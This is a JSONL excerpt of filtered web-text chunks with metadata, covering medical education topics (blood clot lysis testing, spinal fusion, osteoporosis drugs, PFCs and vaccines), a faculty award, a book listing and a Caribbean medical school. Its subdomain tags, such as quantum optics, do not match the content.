while others feel only a prick or stinging sensation. afterward, there may be some throbbing. this is one of the best tests to tell the difference between primary fibrinolysis and disseminated intravascular coagulation. the test can also be used to monitor patients who are on streptokinase or urokinase therapy for acute mi ( heart attack ). a normal value will range from 90 minutes to 6 hours. euglobulin clot lysis is normally complete within 2 to 4 hours. note : normal value ranges may vary slightly among different laboratories. talk to your doctor about the meaning of your specific test results. a longer - than - normal elt time may be due to : a shorter - than - normal elt time may be due to : the test may also be done to diagnose or rule out : there is very little risk involved with having your blood taken. veins and arteries vary in size from one patient to another and from one side of the body to the other. taking blood from some people may be more difficult than from others. other risks associated with having blood drawn are slight but may include : heavy exercise can cause a shorter - than - normal elt time. increasing age and certain medicines, including corticosteroids, acth, streptokinase, and urokinase can cause a longer - than - normal elt time. lijnen hr, collen d. molecular and cellular basis of fibrinolysis. in : hoffman r, benz ej jr., shattil sj, et al, eds. hoffman hematology : basic principles and practice. 5th ed. philadelphia, pa : churchill livingstone elsevier ; 2008 : chap 119. schafer a. hemorrhagic disorders : disseminated intravascular coagulation, liver failure, and vitamin k", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.5160628391275106, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.713072"} {"text": "infant language researcher earns top faculty award on the green | roberta golinkoff, h. rodney sharp chair in the school of education, is not only an educator in the traditional sense of the word, teaching students in university classrooms, she is also an educator of the public. she writes and speaks to diverse audiences of researchers, parents, teachers and healthcare professionals about how children learn. in recognition of her work, golinkoff was selected as the 2011 recipient of the francis alison award, the university \u2019 s highest faculty honor, which was established in 1978 to recognize scholarship, professional achievements and dedication. she also is a faculty member in the departments of psychology and of linguistics and cognitive science. early in her 36 - year career at ud, golinkoff developed a method to assess language comprehension in babies who do not yet speak. because of her research, it is now known that infants do not sit passively while words wash over them, but instead they are actively analyzing what they hear and extracting language \u2019 s rules and regularities. letters from golinkoff \u2019 s scholarly peers underscore the importance of her work, noting that she has \u201c altered our understanding of how children learn language and develop thought. \u201d yale university \u2019 s edward zigler, the driving force behind head start in the 1960s, says that he \u201c would be hard pressed to name a scholar that i admire more than roberta. \u201d to support her work, golinkoff has received sizable grants from the national science foundation, the national institutes of health and the national institute of children \u2019 s health and human development. she has also won a prestigious john simon guggenheim fellowship and a james mckeen cattell sabbatical award. in 2009, the american psychological association awarded her the distinguished service to psychological science award, and this spring she received the urie bronfenbrenner award for lifetime contribution to developmental psychology in the service of science and society. golinkoff \u2019 s books include einstein never used flash cards : how our children really learn and why they need to play more and memorize less, which explores the importance of play in children \u2019 s lives. she has given a congressional briefing and continues to present at the u. s. department of education on early childhood education.", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4484438971710061, "token_count": 454, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.721440"} {"text": "spinal fusion is surgery to permanently join together two or more bones in the spine so there is no movement between them. these bones are called vertebrae. you will be asleep and feel no pain ( general anesthesia ). the doctor will make a surgical cut to view the spine. this may be done : - on your back or neck over the spine. you will be lying face down. muscles and tissue are separated to expose the spine. - on one side of your belly, if you are having surgery on your lower back. the surgeon will use tools called retractors to gently separate, hold the soft tissues and blood vessels apart, and have room to work. - with a cut on the front of the neck, toward the side. other surgery, such as a diskectomy, or a foraminotomy, is almost always done first. the surgeon will use a graft ( such as bone ) to hold ( or fuse ) the bones together permanently. there are several different ways of fusing vertebrae together : - strips of bone graft material may be placed over the back part of the spine. - bone graft material may be placed between the vertebrae. - special cages may be placed between the vertebrae. these cages are packed with bone graft material. the surgeon may get the graft from different places : - from another part of your body ( usually around your pelvic bone ). this is called an autograft. your surgeon will make a small cut over your hip and remove some bone from the back of the rim of the pelvis. - from a bone bank, called allograft. - a synthetic bone substitute can also be used. the vertebrae are often also fixed together with rods, screws, plates, or cages. they are used to keep the vertebrae from moving until the bone grafts fully healed. surgery can take 3 - 4 hours. vertebral interbody fusion ; posterior spinal fusion ; arthrodesis ; anterior spinal fusion ; spine surgery - spinal fusion why the procedure is performed spinal fusion is most often done along with other surgical procedures of the spine. it may be done : spinal fusion may be done if you have : - injury or fractures to the bones in the spine - weak or unstable spine caused by infections or tumors, a condition in which one vertebrae slips forward on top of another - abnormal curvatures, such as those from scoliosis you and your doctor can decide when you need to have surgery. risks for any surgery are : risks for spine surgery are : -", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5036254405878947, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.762290"} {"text": "a condition in which one vertebrae slips forward on top of another - abnormal curvatures, such as those from scoliosis you and your doctor can decide when you need to have surgery. risks for any surgery are : risks for spine surgery are : - infection in the wound or vertebral bones - damage to a spinal nerve, causing weakness, pain, loss of sensation, problems with your bowels or bladder - the vertebrae above and below the fusion are more likely to wear away, leading to more problems later before the procedure always tell your doctor or nurse what drugs you are taking, including medicines, herbs, and supplements you bought without a prescription. during the days before the surgery : - if you are a smoker, you need to stop. patients who have spinal fusion and continue to smoke may not heal as well. ask your doctor for help. - two weeks before surgery, your doctor or nurse may ask you to stop taking drugs that make it harder for your blood to clot. these include aspirin, ibuprofen ( advil, motrin ), naproxen ( aleve, naprosyn ), and other drugs like these. - if you have diabetes, heart disease, or other medical problems, your surgeon will ask you to see your regular doctor. - talk with your doctor if you have been drinking a lot of alcohol. - ask your doctor which drugs you should still take on the day of the surgery. - always let your doctor know about any cold, flu, fever, herpes breakout, or other illnesses you may have. on the day of the surgery : - you will usually be asked not to drink or eat anything for 6 - 12 hours before the procedure. - take your drugs your doctor told you to take with a small sip of water. after the procedure you will stay in the hospital for 3 - 4 days after surgery. you will receive pain medicines in the hospital. you may take pain medicine by mouth or have a shot or an intravenous line ( iv ). you may have a pump that allows you to control how much pain medicine you get. you will be taught how to move properly and how to sit, stand, and walk. you ' ll be told to use a \" log - rolling \" technique when getting out of bed. this means that you move your entire body at once, without twisting your spine. you may not be able to eat for 2 - 3 days. you will be given nutrients through an iv. when you leave the hospital, you", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4578695723368412, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.765894"} {"text": "getting out of bed. this means that you move your entire body at once, without twisting your spine. you may not be able to eat for 2 - 3 days. you will be given nutrients through an iv. when you leave the hospital, you may need to wear a back brace or cast. your healthcare team will tell you how to take care of yourself at home after spine surgery if you had chronic back pain before surgery, you will likely still have some pain afterward. spinal fusion is unlikely to take away all your pain and other symptoms. it is hard for a surgeon to always predict which patients will improve and how much relief surgery will provide, even when using mri scans or other tests. losing weight and getting exercise will increase your chances of feeling better. future spine problems are possible for all patients after spine surgery. after spinal fusion, the area that was fused together can no longer move. therefore, the spinal column above and below the fusion are more likely to be stressed when the spine moves, and may have problems later on. weinstein jn, tosteson td, lurie jd, et al. surgical versus nonsurgical therapy for lumbar spinal stenosis. n engl j med. 2008 ; 358 : 794 - 810. brox ji, nygaard \u00f8p, holm i, keller a, ingebrigtsen t, reikeras o. four - year follow - up of surgical versus non - surgical therapy for chronic low back pain. ann rheum dis. 2010 sep ; 69 ( 9 ) : 1643 - 8. curlee pm. other disorders of the spine. in : canale st, beatty jh, eds. campbell ' s operative orthopaedics. 11th ed. philadelphia, pa : mosby elsevier ; 2007 : chap 41. weinstein jn, tosteson td, lurie jd, et al. surgical versus nonoperative treatment for lumbar spinal stenosis four - year results of the spine patient outcomes research trial. spine ( phila pa 1976 ). 2010 jun 15 ; 35 ( 14 ) : 1329 - 38. matz pg, holly lt, groff mw, et al ; joint section on disorders of the spine and peripheral nerves of the american association of neurological surgeons and congress of neurological surgeons. indications for anterior cervical decompression for the treatment of cervical degenerative radiculopathy. j neurosurg spine. 2009 aug ; 11 ( 2 ) : 174 - 82. da", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43331389220425137, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.768930"} {"text": "shots - health blog tue january 24, 2012 common chemicals could make kids ' vaccines less effective originally published on tue january 24, 2012 4 : 07 pm the more exposure children have to chemicals called perfluorinated compounds, the less likely they are to have a good immune response to vaccinations, a study just published in jama, the journal of the american medical association shows. the finding suggests, but doesn ' t prove, that these chemicals can affect the immune system enough to make some children more vulnerable to infectious diseases. for decades now, pfcs have been used in nonstick coatings, stain - resistant fabrics and some food packaging. and because they persist in the environment for years, they have become common around the globe. \" you can find them in polar bears, \" says dr. philippe grandjean, the study ' s lead author who works at both harvard and the university of southern denmark. studies in animals have shown that pfcs can weaken the immune system. grandjean wanted to know whether this was happening in children. so he led a team that studied nearly 600 kids in the faroe islands, which lie about halfway between scotland and iceland. the faroese have levels of pfcs similar to those of u. s. residents. grandjean figured if the chemicals were having an effect, it would show up in the way kids ' bodies responded to vaccinations. normally, a vaccine causes the production of lots of antibodies to a specific germ. but grandjean says the response to tetanus and diphtheria vaccines was much weaker in 5 - year - olds whose blood contained relatively high levels of pfcs. \" we found that the higher the exposure, the less capable the kids were in terms of responding appropriately to the vaccine, \" grandjean says. the results raise the possibility that \" the immune system is not really developing optimally. \" the health effects of pfcs are still poorly understood. but in the past decade, government scientists have become increasingly concerned about possible links to developmental problems in children. as a result, the environmental protection agency has taken steps that have resulted in some pfcs being phased out. these chemicals aren ' t as frightening as some found in the environment, says dr, alan ducatman from west virginia university, which has been part of a large study of a pfc known as c8. \" but they are clearly problematic, \" he says, adding that the c8 study also found some evidence of an effect on the", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4630307030969986, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.779397"} {"text": "faroese have levels of pfcs similar to those of u. s. residents. grandjean figured that if the chemicals were having an effect, it would show up in the way the kids ' bodies responded to vaccinations. normally, a vaccine causes the production of lots of antibodies to a specific germ, but grandjean says that response was less pronounced in the children whose blood contained higher levels of pfcs. grandjean : we found that, the higher the exposure, the less capable the kids were in terms of responding appropriately to the vaccine and some of the kids were more or less incapable. hamilton : the study looked at the responses to vaccines for diphtheria and tetanus in children from five to seven years old. grandjean says the result suggests these kids have a blunted response to other vaccines, as well, and perhaps bigger problems. grandjean : of course, we worry that something more serious is going on here, that the immune system is not really developing optimally. hamilton : if so, children with higher levels of pfcs might be less able to fight off infectious diseases. alan ducatman from west virginia university has worked on something known as the c8 health project, which has been studying the health effects of one particular pfc in ohio and west virginia. he says results from the new study are consistent with some of their own findings regarding pfcs and immune function. alan ducatman : pfcs have certainly undergone a transformation in our perspective on them over one decade. hamilton : ducatman says consumers in the u. s. have reason to be concerned, even though companies here have phased out some pfcs and some exposure levels have begun falling. ducatman says pfcs are not the most frightening chemicals out there. ducatman : but they are also clearly problematic and something to think about and, to the degree that levels are going down in the united states, we should also acknowledge that they ' re not going down in other parts of the world and, in fact, there are places where they may even be going up. hamilton : grandjean says china is one country that appears to be using more pfcs these days and they are putting them in products that get sold in the u. s. grandjean : we may just be importing products with the same compounds instead, so i don ' t think that we have solved the exposure problem yet and i think it needs international attention. hamilton : it ' s getting some. global treaties", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4680761518643364, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.781901"} {"text": "osteoporosis, a term meaning \u201c porous bones, \u201d is a silent disease that occurs as a result of reduced bone formation and increased bone resorption. 1 these factors compromise bone structure, leading to microfractures, which can later develop into clinical fractures. 2 complications of fractures include disability, body deformity, depression, pain, and death. 2 prevention of osteoporosis entails identifying secondary causes in order to modify risk factors, if applicable. treating osteoporosis involves the use of prescription medications, calcium and vitamin d supplementation, and nonpharmacologic therapies, such as appropriate diet, exercise, and smoking cessation. the impact of a pharmacist \u2019 s knowledge of osteoporosis management can help ensure the proper use of medications, appropriate vitamin supplementation, and patient counseling on recommended lifestyle changes. osteoporosis is present in 44 million americans, and the majority of this population is over 50 years of age. 3 women aged 50 years and older have a 50 % chance of breaking a bone due to osteoporosis. 4 to compare the incidence of other disease states with the prevalence of osteoporosis in women, the risk of hip fracture is more than the collective risk of uterine, ovarian, and breast cancer. 4 complications of hip fractures include an increased risk of future fractures and mortality. within the first year of a hip fracture, the risk of mortality increases 10 % to 20 %, and future fracture risk multiplies by 2. 5 - fold. 2 therefore, the impact on the economy is evident, due to an increase in hospital admissions, physician appointments, and enrollment in nursing homes. 2 the leading causes of osteoporosis are separated into nonmodifiable and modifiable risk factors ( table 1 ). 4 women are more at risk for osteoporosis after menopause due to a reduction in estrogen, which plays an important role in bone protection. 4 in addition, peak bone mass occurs between the ages of 18 and 25 years and slowly declines from this age onward. 2 one study completed in 2007 specifically evaluated risk factors for osteoporosis in postmenopausal women. 5 the results of this study demonstrated an increased risk of osteoporosis in women with a history of fracture, total body weight less than 127 lb, and the use of anticoagulants, such as warfarin or he", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5159891583674566, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.802113"} {"text": ". 5 the results of this study demonstrated an increased risk of osteoporosis in women with a history of fracture, total body weight less than 127 lb, and the use of anticoagulants, such as warfarin or heparin. a reduction in the progression to osteoporosis was established in women with multiparity or a history of breastfeeding. 5 in addition, certain medications can lead to bone loss ( table 2 ). 6 the diagnosis of osteoporosis is determined by measuring one \u2019 s bone mineral density ( bmd ), which serves as a predictor of future fracture risk. the national osteoporosis foundation ( nof ) provides guidelines on the most up - to - date recommendations regarding diagnostic criteria ( table 3 ). 2 the world health organization ( who ) defines varying degrees of bone loss by t - scores. 2 the significance of a t - score compares bmd to that of a \u201c young normal \u201d adult of the same gender. additionally, the guidelines specify certain populations that are recommended to receive bmd testing ( table 4 ). 2 a fracture risk calculator, known as frax, calculates the 10 - year probability of a hip fracture and major osteoporotic fracture ( available at www. shef. ac. uk / frax ). this advanced tool provides the most accurate results in women with a low hip bmd. 2 the nof guidelines indicate which individuals should receive pharmacologic therapy for osteoporosis. treatment for osteoporosis should be considered for postmenopausal women aged 50 years and older with any of the following : 1 ) fracture of the hip or vertebrae ; 2 ) t - score less than or equal to - 2. 5 ; or 3 ) t - score between - 1. 0 and - 2. 5 and a 10 - year risk of a hip fracture of at least 3 % or a major fracture greater than or equal to 20 % based on the who algorithm. 2 in addition, therapy can be initiated based on patient preference, even if the patient does not meet the above criteria for treatment. the following medications are approved for treatment based on data from clinical trials demonstrating reductions in risk of fracture : bisphosphonates, calcitonin, selective estrogen receptor modulator ( serm ), parathyroid hormone, and denosumab ( table 5 ). 2 in addition, phase ii and iii trials of several new agents are underway to", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44583576113174384, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.803249"} {"text": "and studied the efficacy of continuing alendronate for another 5 years or discontinuing therapy after 5 years. 9 discontinuing alendronate therapy after 5 years did not significantly increase the risk of fracture, whereas subjects continuing alendronate therapy maintained mean serum bone turnover markers and bmd similar to baseline levels of the fit trial. the use of bisphosphonates beyond 5 years is patient specific and appears to be most beneficial in patients with a high fracture risk. 9 proper administration of bisphosphonates is essential to improve absorption and reduce the risk of adverse effects. alendronate and risedronate are taken first thing in the morning, with 6 to 8 ounces of water on an empty stomach. it is important for patients to remain sitting or standing and to avoid medications, eating, and drinking liquids, except water, after administration for the next 30 minutes. ibandronate follows the same administration instructions, but requires a 60 - minute time period before food intake and lying down. 7 however, delayed - release risedronate ( atelvia ), a new formulation, may provide patients a convenient alternative ; it should be taken right after breakfast with 4 ounces of water once weekly. it should not be chewed, cut, or crushed. patients need to wait 30 minutes before lying down and avoid taking concurrent medications and supplements. 10 zoledronic acid given as a yearly iv infusion can be used in patients who experience intolerable adverse effects or are unable to properly administer oral formulations. 7 this medication was studied in the health outcomes and reduced incidence with zoledronic acid once yearly ( horizon ) pivotal fracture trial, which compared zoledronic acid 5 mg iv infusion every 12 months with placebo for a total of 36 months. 11 zoledronic acid showed significant reductions in morphometric vertebral fractures by 70 % and hip fractures by 41 % compared with placebo. 11 bisphosphonate therapy should be avoided in patients with a creatinine clearance of less than 30 or 35 ml / min, depending on which agent. 7 in october 2010, the fda added the risk of atypical femur fractures to bisphosphonate labels. 12 the two types of fractures observed under study were below the hip joint ( subtrochanteric femur fracture ) and at the long part of the thigh bone ( diaphyseal femur fracture ). in combination, these fractures are very uncommon and account for less than", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43921135854460197, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.805462"} {"text": "observed under study were below the hip joint ( subtrochanteric femur fracture ) and at the long part of the thigh bone ( diaphyseal femur fracture ). in combination, these fractures are very uncommon and account for less than 1 % of all hip and leg fractures. 12 patients should be educated to report any thigh or groin pain to their health care provider. in july 2011, the fda announced reported incidences of esophageal events and esophagitis with oral bisphosphonates. 13 these events have been noted to occur in patients who do not use proper administration technique of the oral dosage form. to date, the fda has not determined whether esophageal cancer risk is increased by oral bisphosphonate use. 13 patients are reminded to discuss the risks versus benefits of bisphosphonates and to contact their health care provider if they experience pain while swallowing, difficulty swallowing, or worsening heartburn. 13 calcitonin : there are two calcitonin agents ( fortical, miacalcin ) currently fda approved for the treatment of osteoporosis in women who are postmenopausal for at least 5 years. calcitonin is involved with calcium regulation and directly inhibits osteoclastic bone resorption. 7 both medications are generally safe and offer different routes of administration \u2014 intranasal and sc. a study published in 2000 compared the efficacy of alendronate versus calcitonin for osteoporosis in postmenopausal women. increases in bmd and reductions in bone turnover were significantly greater at 12 months with alendronate compared to intranasal calcitonin. the results of this study further verify the use of bisphosphonates as first - line agents, but offer calcitonin as a therapeutic alternative for osteoporosis. 14 selective estrogen receptor modulator ( serm ) : raloxifene is the only serm approved by the fda for the prevention and treatment of osteoporosis in postmenopausal women. it is also indicated for breast cancer prevention. raloxifene has similar effects as estrogen in preventing bone loss, but potentially antagonizes estrogen in uterine and breast tissue. in addition, raloxifene increases bmd and reduces bone resorption. over 3 years, raloxifene has shown vertebral fracture reductions of 30 % in", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.44811516830936765, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.806329"} {"text": "study was to assess denosumab versus placebo over 3 years in the primary end point of reducing new vertebral fractures. results demonstrated a 69 % reduction in vertebral fractures and a 61 % reduction in multiple new vertebral fractures with denosumab, which was statistically significant compared to placebo. 16, 17 the efficacy of this medication compared to existing therapies is limited, due to the lack of head - to - head studies. denosumab is expensive compared to other therapeutic options, but an advantage is biannual sc injections. overall, denosumab serves as a therapeutic option for patients who are unable to tolerate bisphosphonates due to esophageal irritation or for patients with low levels of adherence. 16, 17 estrogen / hormone therapy ( et / ht ) : based on the nof guidelines, et / ht is not approved for the treatment of osteoporosis. this statement is based on the associated increased risk of stroke, pulmonary emboli, myocardial infarction, breast cancer, or deep vein phlebitis with these agents. although fda approved indications include prevention of osteoporosis and alleviation of symptoms associated with menopause ( i. e., vasomotor symptoms, vulvovaginal atrophy ), et / ht is not recommended as a first - line agent for osteoporosis prevention. 2 future therapies : there are several agents for the management of osteoporosis completing phase ii and phase iii trials that employ different mechanisms of action compared with current therapies. odanacatib, a phase iii agent, inhibits cathepsin k, which is produced by osteoclasts and functions to degrade bone. 17 two anabolic agents studied for postmenopausal women with osteoporosis, mk - 5442 and amg 785, are undergoing phase ii trials that are expected to be completed in 2012. mk - 5442 targets the calcium - sensing receptor ( casr ) on the parathyroid gland. 17 during hypocalcemia, the casr is activated, causing the release of parathyroid hormone, which increases calcium levels in the blood. 17 mk - 5442 is known as a calcilytic drug, due to its hypocalcemic mimicking properties. 17 in addition, amg 785 is a scler", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4558850494976976, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.808328"} {"text": "cardiovascular disease, or diabetes. the recommendations are based on dietary reference intakes ( dris ), which are the total requirement from diet and dietary supplements ( table 6 ). 18 the amount of daily calcium required is based on the quantity of elemental calcium in each product. maximal absorption of calcium occurs at 500 to 600 mg per dose. 1 calcium supplementation should be divided throughout the day, usually twice daily, to achieve maximal absorption. each otc product has varying amounts of calcium and vitamin d. in general, calcium carbonate products have a higher percentage of elemental calcium ( table 7 ). 19 common side effects are constipation, bloating, and flatulence. these products should be separated from certain medications such as iron, tetracyclines, and fluoroquinolones, because they can interfere with absorption. 7 the gold standard of monitoring osteoporosis therapy is to evaluate bmd of the hip and spine by a central dual - energy x - ray absorptiometry ( dxa ) scan every 2 years and at the occurrence of clinical fractures. 2 frequent monitoring of medication safety is also important, and adverse effects are listed for each drug class in table 5. conclusion and the pharmacist \u2019 s role the best way to treat osteoporosis is to prevent its occurrence. modification of risk factors is imperative, and pharmacists can play a large role in this area. pharmacists can counsel patients \u2014 especially women, who are at an increased risk for osteoporosis \u2014 to increase their intake of foods and drinks rich in calcium and vitamin d ; offer strategies to quit smoking ; encourage 30 minutes of weight - bearing and muscle - strengthening exercise at least three times per week ; and, most importantly, recommend appropriate calcium and vitamin d supplementation and any required prescription medications for osteoporosis. pharmacists can determine the best therapeutic option for patients based on efficacy, tolerable adverse effects, contraindications, and medication adherence. patients require counseling on proper dosing, administration, and adverse effects to promote the safe use and monitoring of medications for osteoporosis. medication adherence and monitoring of bmd by central dxa is critical to reduce fracture risk and progression of osteoporosis. refer to table 8 for useful online resources for patients and pharmacists regarding osteoporosis management. 1. osteoporosis. mayo clinic. osteoporosis / ds00128.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4663172045161941, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.814557"} {"text": ") : a randomized trial. jama. 2006 ; 296 : 2927 - 2938. 10. atelvia ( risedronate sodium ) package insert. north norwich, nj : norwich pharmaceuticals, inc. ; january 2011. 11. black dm, delmas pd, eastell r, et al. once - yearly zoledronic acid for treatment of postmenopausal osteoporosis. n engl j med. 2007 ; 356 : 1809 - 1822. 12. fda : possible increased risk of thigh bone fracture with bisphosphonates. fda news release. october 13, 2010. ucm229171. htm. accessed june 15, 2011. 13. oral osteoporosis drugs ( bisphosphonates ) : drug safety communication \u2014 potential increased risk of esophageal cancer. fda. july 21, 2011. ducts / ucm264087. htm. accessed august 7, 2011. 14. downs rw jr, bell nh, ettinger mp, et al. comparison of alendronate and intranasal calcitonin for treatment of osteoporosis in postmenopausal women. j clin endocrinol metab. 2000 ; 85 : 1783 - 1788. 15. prolia ( denosumab ) package insert. thousand oaks, ca : amgen manufacturing ltd ; june 2010. 16. cummings sr, san martin j, mcclung mr, et al ; freedom trial. denosumab for prevention of fractures in postmenopausal women with osteoporosis. n engl j med. 2009 ; 361 : 756 - 765. 17. rachner td, khosla s, hofbauer lc. osteoporosis : now and the future. lancet. 2011 ; 377 : 1276 - 1287. 18. dietary reference intakes for calcium and vitamin d. institute of medicine of the national academies. november 30, 2010. calcium - and - vitamin - d. aspx. accessed april 5, 2011. 19. comparison of oral calcium salts. pharm / prescriber letter. 2008 ; 24 : 241008. to comment on this article, contact", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.471811445341488, "token_count": 468, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.817357"} {"text": "the university of wisconsin press environment / natural history companion to a sand county almanac interpretive and critical essays edited by j. baird callicott the first sustained study of leopold ' s seminal book as a work of art, philosophy, and social commentary. aldo leopold ' s a sand county almanac is the bible for the modern american conservation movement, its capstone essay, \" the land ethic, \" repeatedly invoked by scholars, professionals, and environmentally aware citizens everywhere. this volume engages leopold ' s work from several disciplinary perspectives \u2014 biography, social and intellectual history, natural history, resource management, literary criticism, and philosophy. the contributors to this volume include some of the leading scholars of leopold and of environmental ethics in the nation : curt meine of the university of wisconsin \u2013 madison ; susan flader of the university of missouri \u2013 columbia ; peter fritzell and dennis ribbens of lawrence university ; roderick nash of the university of california at santa barbara ; edwin p. pister of the california department of fish and game ; holmes rolston iii of colorado state university ; john tallmadge of carleton college ; and wallace stegner of stanford university. \" an indispensable collection. \" john murray, bloomsbury review j. baird callicott, who is editor of as well as the principal contributor to this volume, is regents professor of philosophy and religion studies in the institute of applied science at the university of north texas. for more information regarding publicity and reviews contact our publicity manager, chris caldwell, phone : ( 608 ) 263 - 0734, email : email @ example. com 308 pp. 6 1 / 8 x 9 1 / 4 cloth $ 27. 95 t paper $ 20. 95 s e - book $ 9. 99 t adobe digital edition about our e - books click here for a further explanation of the shopping cart feature. home | books | journals | events | textbooks | authors | related | search | order | contact if you have trouble accessing any page in this web site, contact kirt murray, web manager. e - mail : firstname. lastname @ example. org or by phone at 608 - 263 - 0733. updated july 15, 2010\u00a9 2010, the board of regents of the university of wisconsin system", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5185100137339906, "token_count": 458, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.819757"} {"text": "the dutch united provinces declared their independence from spain in 1579 ; during the 17th century, they became a leading seafaring and commercial power, with settlements and colonies around the world. after a 20 - year french occupation, a kingdom of the netherlands was formed in 1815. in 1830 belgium seceded and formed a separate kingdom. the netherlands remained neutral in world war i, but suffered invasion and occupation by germany in world war ii. a modern, industrialized nation, the netherlands is also a large exporter of agricultural products. the country was a founding member of nato and the eec ( now the eu ), and participated in the introduction of the euro in 1999. in october 2010, the former netherlands antilles was dissolved and the three smallest islands - bonaire, sint eustatius, and saba - became special municipalities in the netherlands administrative structure. the larger islands of sint maarten and curacao joined the netherlands and aruba as constituent countries forming the kingdom of the netherlands. read more. the university of sint eustatius school of medicine invites you to discover your future : fulfillment of a dream to practice as a medical doctor. this occurs on the caribbean island of sint eustatius, locally known as statia. committing oneself to study medicine at a foreign medical school in a remote caribbean locale presents special challenges, particularly to those considering a change in career. nevertheless, for those bearing strong character and intellect with the intense desire to provide service to those in need, the experience is educationally, socially, and professionally enriching. to those seeking such enrichments, the university of sint eustatius school of medicine bids you welcome, and invites you to explore the statia experience for yourself. the university of sint eustatius school of medicine was founded by experienced and highly regarded medical school educators and administrators committed to educating future physicians in a student - centered physician - driven learning environment \u2013 one that promotes academic excellence with personal and professional integrity at an affordable cost. the founders obtained the support for a medical school from the enthusiastic native people and government of the island of sint eustatius ( statia ). subsequently, the university of sint eustatius was awarded a charter, which was signed by the minister of education, the minister of health, and the governor of sint eustatius on april 21, 1999. on may 27, 1999 the education committee on foreign medical graduates ( ecfmg ) confirmed the eligibility of graduates from the university of sint eustatius school of", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.41860311890801194, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.865341"} {"text": "health, and the governor of sint eustatius on april 21, 1999. on may 27, 1999 the education committee on foreign medical graduates ( ecfmg ) confirmed the eligibility of graduates from the university of sint eustatius school of medicine to register for the united states medical licensing examinations ( usmle ). the university of sint eustatius school of medicine opened the doors to its first class of students on september 1, 1999, and was subsequently listed by the world health organization ( who ) in 2000. the mission of usesom is to develop skilled and compassionate physicians, through innovative educational approaches in conventional and complementary health sciences, to serve the expanding global need for comprehensive, quality health care. students and graduates of the university of sint eustatius school of medicine will be eligible to be registered by the educational commission for foreign medical graduates ( ecfmg ) for steps 1 and 2 of the united states medical licensing examination ( usmle ). our medical graduates will therefore be able to enter a residency or fellowship program in the united states that is accredited by the accreditation council for graduate medical education ( acgme ). the university of sint eustatius offers a comprehensive m. d. degree program, including training in the basic sciences and in clinical education. depending on qualifications, a student may enter at either of these levels of training. since the university of sint eustatius offers 1 academic years ( 3 terms ) within one calendar year, students actually complete the programs in less calendar time than traditional 4 - year medical programs in the u. s. medical terminology ( 4 credits ) this basic course will provide the necessary framework to learn basic rules and elements of medical terms. the course will focus how to break down medical terms by knowing the meaning of the prefix or suffix. by learning the individual parts of a medical word, students will be able to understand the complex medical terms and their definitions. students will be able to identify medical abbreviations, spell and pronounce basic medical terminology. general biology with lab 1 ( 4 credits ) this course is to provide students with the concepts and factual knowledge in biology. it covers the biological principles, organization of living matter, structure and functions of cell, tissues, organs and systems of the human body. it deals with fundamental life processes and concepts common to all living organisms. emphasis is on the application of biological principles and concepts in the field of medicine. course includes lab work. inorganic chemistry with lab 1 ( 4 credits ) this course provides the students with the fundamental concepts", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4906021809045629, "token_count": 511, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.866676"} {"text": 